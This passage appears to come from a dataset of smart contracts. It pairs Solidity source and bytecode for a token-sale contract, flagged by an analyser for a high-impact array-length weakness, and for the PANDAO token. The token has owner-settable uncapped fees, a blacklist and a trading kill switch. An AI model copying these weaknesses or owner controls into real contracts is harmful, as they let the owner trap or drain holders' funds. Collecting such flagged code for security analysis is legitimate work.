require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyAuthorized public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(address(0), address(this), mintedAmount);
emit Transfer(address(this), target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyAuthorized public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newRatePrice` eth
/// @param newRate Price the users can sell to the contract
function setRatePrices(uint256 newRate) onlyAuthorized public {
baseRate = newRate;
}
/// @notice Allow users to buy tokens for `newTokenSaleHardCap` XCR
/// @param newTokenSaleHardCap Amount of XCR token sale hard cap
function setTokenSaleHardCap(uint256 newTokenSaleHardCap) onlyAuthorized public {
tokenSaleHardCap = newTokenSaleHardCap;
}
function doIssueTokens(address _beneficiary, uint256 _tokens) internal {
require(_beneficiary != address(0));
balanceOf[_beneficiary] += _tokens;
totalSupply += _tokens;
emit Transfer(address(0), address(this), _tokens);
emit Transfer(address(this), _beneficiary, _tokens);
}
/// @dev Compute the amount of XCR token that can be purchased.
/// @param ethAmount Amount of Ether in WEI to purchase XCR.
/// @return Amount of XCR token to purchase
function computeTokenAmount(uint256 ethAmount) internal view returns (uint256) {
uint256 tokens = ethAmount.mul(baseRate) / 10**uint256(decimals);
return tokens;
}
/// @notice collect ether to owner account
function collect() external onlyAuthorized {
address(uint160(owner)).transfer(address(this).balance);
}
/// @notice getBalance ether
function getBalance() public view onlyAuthorized returns (uint) {
return address(this).balance;
}
/// @dev Closes the sale, issues the team tokens and burns the unsold
function close() public onlyAuthorized beforeEnd {
tokenSaleClosed = true;
/// forward the raised funds to the contract creator
address(uint160(owner)).transfer(address(this).balance);
}
/// @dev Open the sale status
function openSale() public onlyAuthorized{
tokenSaleClosed = false;
}
}
|
0x6080604052600436106101f95760003560e01c806384fd54771161010d578063b9181611116100a0578063cf1c316a1161006f578063cf1c316a146107fb578063dd62ed3e1461082e578063e522538114610869578063e55a07c21461087e578063e724529c14610893576101f9565b8063b9181611146106b0578063bf014789146106e3578063cae9ca511461070d578063ce557031146107d5576101f9565b806395d89b41116100dc57806395d89b41146105fc578063a6f9dae114610611578063a9059cbb14610644578063b414d4b61461067d576101f9565b806384fd547714610559578063893d20e81461058c5780638da5cb5b146105bd5780638dd6ce79146105d2576101f9565b8063313ce5671161019057806343d726d61161015f57806343d726d61461046c578063485d7d941461048157806370a08231146104b457806379c65068146104e757806379cc679014610520576101f9565b8063313ce5671461039957806340e40765146103c457806342966c68146103ee5780634311483d14610418576101f9565b806318160ddd116101cc57806318160ddd146103175780631f68f20a1461032c57806323b872dd1461034157806328dc886014610384576101f9565b806306fdde0314610204578063095ea7b31461028e57806312065fe0146102db578063167ff46f14610302575b610202336108ce565b005b34801561021057600080fd5b50610219610957565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561025357818101518382015260200161023b565b50505050905090810190601f1680156102805780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561029a57600080fd5b506102c7600480360360408110156102b157600080fd5b506001600160a01b0381351690602001356109e5565b604080519115158252519081900360200190f35b3480156102e757600080fd5b506102f0610a4b565b60408051918252519081900360200190f35b34801561030e57600080fd5b50610202610ab1565b34801561032357600080fd5b506102f0610b23565b34801561033857600080fd5b506102f0610b29565b34801561034d57600080fd5b506102c76004803603606081101561036457600080fd5b506001600160a01b03813581169160208101359091169060400135610b2f565b34801561039057600080fd5b506102f0610b9f565b3480156103a557600080fd5b506103ae610ba5565b6040805160ff9092168252519081900360200190f35b3480156103d057600080fd5b50610202600480360360208110156103e757600080fd5b5035610bae565b3480156103fa57600080fd5b506102c76004803603602081101561041157600080fd5b5035610c17565b34801561042457600080fd5b5061044b6004803603602081101561043b57600080fd5b50356001600160a01b0316610c90565b604080519283526001600160a01b0390911660208301528051918290030190f35b34801561047857600080fd5b50610202610cb2565b34801561048d57600080fd5b50610202600480360360208110156104a457600080fd5b50356001600160a01b0316610dbc565b3480156104c057600080fd5b506102f0600480360360208110156104d757600080fd5b50356001600160a01b0316610e5b565b3480156104f357600080fd5b506102026004803603604081101561050a57600080fd5b506001600160a01b038135169060200135610e6d565b34801561052c57600080fd5b506102c76004803603604081101561054357600080fd5b506001600160a01b038135169060200135610fbb565b34801561056557600080fd5b506102c76004803603602081101561057c57600080fd5b50356001600160a01b031661108c565b34801561059857600080fd5b506105a16110fe565b604080516001600160a01b039092168252519081900360200190f35b3480156105c957600080fd5b506105a161110d565b3480156105de57600080fd5b50610202600480360360208110156105f557600080fd5b503561111c565b34801561060857600080fd5b50610219611181565b34801561061d57600080fd5b506102026004803603602081101561063457600080fd5b50356001600160a01b03166111dc565b34801561065057600080fd5b506102c76004803603604081101561066757600080fd5b506001600160a01b03813516906020013561128c565b34801561068957600080fd5b506102c7600480360360208110156106a057600080fd5b50356001600160a01b03166112a2565b3480156106bc57600080fd5b506102c7600480360360208110156106d357600080fd5b50356001600160a01b03166112b7565b3480156106ef57600080fd5b506105a16004803603602081101561070657600080fd5b50356112cc565b34801561071957600080fd5b506102c76004803603606081101561073057600080fd5b6001600160a01b038235169160208101359181019060608101604082013564010000000081111561076057600080fd5b82018360208201111561077257600080fd5b8035906020019184600183028401116401000000008311171561079457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506112f3945050505050565b610202600480360360208110156107eb57600080fd5b50356001600160a01b03166108ce565b34801561080757600080fd5b506102026004803603602081101561081e57600080fd5b50356001600160a01b03166113f8565b34801561083a57600080fd5b506102f06004803603604081101561085157600080fd5b506001600160a01b03813581169160200135166114f2565b34801561087557600080fd5b5061020261150f565b34801561088a57600080fd5b506102c76115d9565b34801561089f57600080fd5b50610202600480360360408110156108b657600080fd5b506001600160a01b03813516906020013515156115e2565b600a546007541080156108e45750600c5460ff16155b6108ed57600080fd5b662386f26fc1000034101561090157600080fd5b600061090c34611701565b90506109188282611735565b600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610952573d6000803e3d6000fd5b505050565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156109dd5780601f106109b2576101008083540402835291602001916109dd565b820191906000526020600020905b8154815290600101906020018083116109c057829003601f168201915b505050505081565b3360008181526009602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60035460009015610a94573360009081526001602081905260409091205460ff1615151480610a8457506000546001600160a01b031633145b610a8d57600080fd5b5047610aae565b6000546001600160a01b03163314610aab57600080fd5b50475b90565b60035415610aff573360009081526001602081905260409091205460ff1615151480610ae757506000546001600160a01b031633145b610af057600080fd5b600c805460ff19169055610b21565b6000546001600160a01b03163314610b1657600080fd5b600c805460ff191690555b565b60075481565b600b5481565b6001600160a01b0383166000908152600960209081526040808320338452909152812054821115610b5f57600080fd5b6001600160a01b0384166000908152600960209081526040808320338452909152902080548390039055610b94848484611748565b5060015b9392505050565b600a5481565b60065460ff1681565b60035415610bf7573360009081526001602081905260409091205460ff1615151480610be457506000546001600160a01b031633145b610bed57600080fd5b600a819055610c14565b6000546001600160a01b03163314610c0e57600080fd5b600a8190555b50565b33600090815260086020526040812054821115610c3357600080fd5b3360008181526008602090815260409182902080548690039055600780548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a25060015b919050565b600260205260009081526040902080546001909101546001600160a01b031682565b60035415610d4e573360009081526001602081905260409091205460ff1615151480610ce857506000546001600160a01b031633145b610cf157600080fd5b600c5460ff1615610d0157600080fd5b600c805460ff19166001179055600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610d48573d6000803e3d6000fd5b50610b21565b6000546001600160a01b03163314610d6557600080fd5b600c5460ff1615610d7557600080fd5b600c805460ff19166001179055600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610c14573d6000803e3d6000fd5b6000546001600160a01b03163314610e11576040805162461bcd60e51b815260206004820152601360248201527221b0b63632b91034b9903737ba1037bbb732b960691b604482015290519081900360640190fd5b6001600160a01b038116610e2457600080fd5b6001600160a01b038116331415610e3a57600080fd5b6001600160a01b03166000908152600160205260409020805460ff19169055565b60086020526000908152604090205481565b60035415610f28573360009081526001602081905260409091205460ff1615151480610ea357506000546001600160a01b031633145b610eac57600080fd5b6001600160a01b0382166000908152600860209081526040808320805485019055600780548501905580518481529051309392600080516020611871833981519152928290030190a36040805182815290516001600160a01b0384169130916000805160206118718339815191529181900360200190a3610fb7565b6000546001600160a01b03163314610f3f57600080fd5b6001600160a01b0382166000908152600860209081526040808320805485019055600780548501905580518481529051309392600080516020611871833981519152928290030190a36040805182815290516001600160a01b0384169130916000805160206118718339815191529181900360200190a35b5050565b6001600160a01b038216600090815260086020526040812054821115610fe057600080fd5b6001600160a01b038316600090815260096020908152604080832033845290915290205482111561101057600080fd5b6001600160a01b0383166000818152600860209081526040808320805487900390556009825280832033845282529182902080548690039055600780548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a250600192915050565b600080546001600160a01b03838116911614156110ab57506001610c8b565b6003546110ba57506000610c8b565b6001600160a01b0382166000818152600260205260409020546003805490919081106110e257fe5b6000918252602090912001546001600160a01b03161492915050565b6000546001600160a01b031690565b6000546001600160a01b031681565b60035415611165573360009081526001602081905260409091205460ff161515148061115257506000546001600160a01b031633145b61115b57600080fd5b600b819055610c14565b6000546001600160a01b0316331461117c57600080fd5b600b55565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156109dd5780601f106109b2576101008083540402835291602001916109dd565b6000546001600160a01b03163314611231576040805162461bcd60e51b815260206004820152601360248201527221b0b63632b91034b9903737ba1037bbb732b960691b604482015290519081900360640190fd5b600080546040516001600160a01b03808516939216917f342827c97908e5e2f71151c08502a66d44b6f758e3ac2f1de95f02eb95f0a73591a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000611299338484611748565b50600192915050565b600d6020526000908152604090205460ff1681565b60016020526000908152604090205460ff1681565b600381815481106112d957fe5b6000918252602090912001546001600160a01b0316905081565b60008361130081856109e5565b156113f057604051638f4ffcb160e01b815233600482018181526024830187905230604484018190526080606485019081528751608486015287516001600160a01b03871695638f4ffcb195948b94938b939192909160a490910190602085019080838360005b8381101561137f578181015183820152602001611367565b50505050905090810190601f1680156113ac5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156113ce57600080fd5b505af11580156113e2573d6000803e3d6000fd5b505050506001915050610b98565b509392505050565b6000546001600160a01b0316331461144d576040805162461bcd60e51b815260206004820152601360248201527221b0b63632b91034b9903737ba1037bbb732b960691b604482015290519081900360640190fd5b6001600160a01b03811661146057600080fd5b6114698161108c565b1561147357600080fd5b6001600160a01b03166000818152600160208181526040808420805460ff1916841790556002909152822080820180546001600160a01b031990811686179091556003805493840181559093527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b820180549093169093179091559055565b600960209081526000928352604080842090915290825290205481565b60035415611588573360009081526001602081905260409091205460ff161515148061154557506000546001600160a01b031633145b61154e57600080fd5b600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610d48573d6000803e3d6000fd5b6000546001600160a01b0316331461159f57600080fd5b600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610c14573d6000803e3d6000fd5b600c5460ff1681565b60035415611686573360009081526001602081905260409091205460ff161515148061161857506000546001600160a01b031633145b61162157600080fd5b6001600160a01b0382166000818152600d6020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a1610fb7565b6000546001600160a01b0316331461169d57600080fd5b6001600160a01b0382166000818152600d6020908152604091829020805460ff191685151590811790915582519384529083015280517f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a59281900390910190a15050565b600654600b54600091829160ff909116600a0a9061172690859063ffffffff61184d16565b8161172d57fe5b049392505050565b6001600160a01b038216610f3f57600080fd5b6001600160a01b03821661175b57600080fd5b6001600160a01b03831660009081526008602052604090205481111561178057600080fd5b6001600160a01b03821660009081526008602052604090205481810110156117a757600080fd5b6001600160a01b0383166000908152600d602052604090205460ff16156117cd57600080fd5b6001600160a01b0382166000908152600d602052604090205460ff16156117f357600080fd5b6001600160a01b0380841660008181526008602090815260408083208054879003905593861680835291849020805486019055835185815293519193600080516020611871833981519152929081900390910190a3505050565b600082820283158061186757508284828161186457fe5b04145b610b9857600080fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa265627a7a723158203275016c08122a0ad45b87fde8af4aa19bf93bcd8f206d8ff72b70534a85fb7564736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 2,655 |
0x766656a46ad2f6ebe624b20026c9c83bbd802d25
|
/**
*Submitted for verification at Etherscan.io on 2022-04-05
*/
/**
PANDAO seeks to reduce the control centralized organizations have over information, and instead put personal data into the hands of the people.
We also aim to produce tools for DAOs, allowing more individuals to work full-time for this new type of organization. PANDAO is more than just a decentralized media organization.
We are developing new decentralized data systems and liberating internet products and human resources from Web2.
PANDAO has been community-managed since the beginning, and now continues this path by decentralizing all authority over the treasury.
Token holders own 100% of the treasury assets. This white paper was created with the purpose of establishing ground rules which will discipline evildoers and motivate the contributors in the DAO.
Elections will occur in cycles, keeping the power of project initiators or evildoers in check.
The white paper also defines the proposal process, review steps, and voting weights, which enable management and workers to hear the voice of everyone in the community.
**/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract PANDAO is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Panda DAO";
string private constant _symbol = "PANDAO";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 4;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 6;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xb9B3C7aD2eD921a85F7B69CD4C88d3D574271750);
address payable private _marketingAddress = payable(0xb9B3C7aD2eD921a85F7B69CD4C88d3D574271750);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000 * 10**9;
uint256 public _maxWalletSize = 1000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610556578063dd62ed3e14610576578063ea1644d5146105bc578063f2fde38b146105dc57600080fd5b8063a2a957bb146104d1578063a9059cbb146104f1578063bfd7928414610511578063c3c8cd801461054157600080fd5b80638f70ccf7116100d15780638f70ccf71461044c5780638f9a55c01461046c57806395d89b411461048257806398a5c315146104b157600080fd5b80637d1db4a5146103eb5780637f2feddc146104015780638da5cb5b1461042e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611960565b6105fc565b005b34801561020a57600080fd5b5060408051808201909152600981526850616e64612044414f60b81b60208201525b6040516102399190611a25565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611a7a565b61069b565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b5067016345785d8a00005b604051908152602001610239565b3480156102db57600080fd5b506102626102ea366004611aa6565b6106b2565b3480156102fb57600080fd5b506102c160185481565b34801561031157600080fd5b5060405160098152602001610239565b34801561032d57600080fd5b50601554610292906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611ae7565b61071b565b34801561036d57600080fd5b506101fc61037c366004611b14565b610766565b34801561038d57600080fd5b506101fc6107ae565b3480156103a257600080fd5b506102c16103b1366004611ae7565b6107f9565b3480156103c257600080fd5b506101fc61081b565b3480156103d757600080fd5b506101fc6103e6366004611b2f565b61088f565b3480156103f757600080fd5b506102c160165481565b34801561040d57600080fd5b506102c161041c366004611ae7565b60116020526000908152604090205481565b34801561043a57600080fd5b506000546001600160a01b0316610292565b34801561045857600080fd5b506101fc610467366004611b14565b6108be565b34801561047857600080fd5b506102c160175481565b34801561048e57600080fd5b5060408051808201909152600681526550414e44414f60d01b602082015261022c565b3480156104bd57600080fd5b506101fc6104cc366004611b2f565b610906565b3480156104dd57600080fd5b506101fc6104ec366004611b48565b610935565b3480156104fd57600080fd5b5061026261050c366004611a7a565b610973565b34801561051d57600080fd5b5061026261052c366004611ae7565b60106020526000908152604090205460ff1681565b34801561054d57600080fd5b506101fc610980565b34801561056257600080fd5b506101fc610571366004611b7a565b6109d4565b34801561058257600080fd5b506102c1610591366004611bfe565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c857600080fd5b506101fc6105d7366004611b2f565b610a75565b3480156105e857600080fd5b506101fc6105f7366004611ae7565b610aa4565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260040161062690611c37565b60405180910390fd5b60005b81518110156106975760016010600084848151811061065357610653611c6c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068f81611c98565b915050610632565b5050565b60006106a8338484610b8e565b5060015b92915050565b60006106bf848484610cb2565b610711843361070c85604051806060016040528060288152602001611db2602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ee565b610b8e565b5060019392505050565